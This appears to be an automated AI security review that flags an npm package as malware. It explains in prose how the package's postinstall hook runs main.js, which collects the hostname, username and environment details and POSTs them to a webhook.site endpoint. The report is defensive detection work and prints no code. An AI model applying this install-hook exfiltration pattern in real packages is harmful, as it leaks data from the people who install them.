AI Security Review
scanned 1mo ago · by lpm-firewall-aiThe package has an automatic lifecycle trigger and directly exfiltrates identifying host data to a fixed external endpoint. This is concrete malicious install-hook abuse, not package-aligned functionality.
Static reason
One or more suspicious static signals were detected.
Trigger
npm installation, through the postinstall lifecycle hook.
Impact
Exposes the installing machine's hostname, username, environment context, and runtime details.
Mechanism
Collect host metadata and POST it to an external callback.
Attack narrative
When npm installs the package, its postinstall script runs main.js. That program gathers host and process metadata, including the local username and hostname, serializes it, and sends it in an HTTPS POST request to a fixed webhook.site URL. The behavior is automatic and unrelated to the package name, creating a concrete install-time data-exfiltration path.

Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The postinstall hook automatically runs main.js during installation.
- main.js collects hostname, username, platform, working directory, Node version, and lifecycle environment data.
- The collected host data is POSTed to a fixed webhook.site callback.
Evidence against
- No additional package files or declared runtime dependencies were present.
- The source does not show file deletion, shell execution, or payload download.
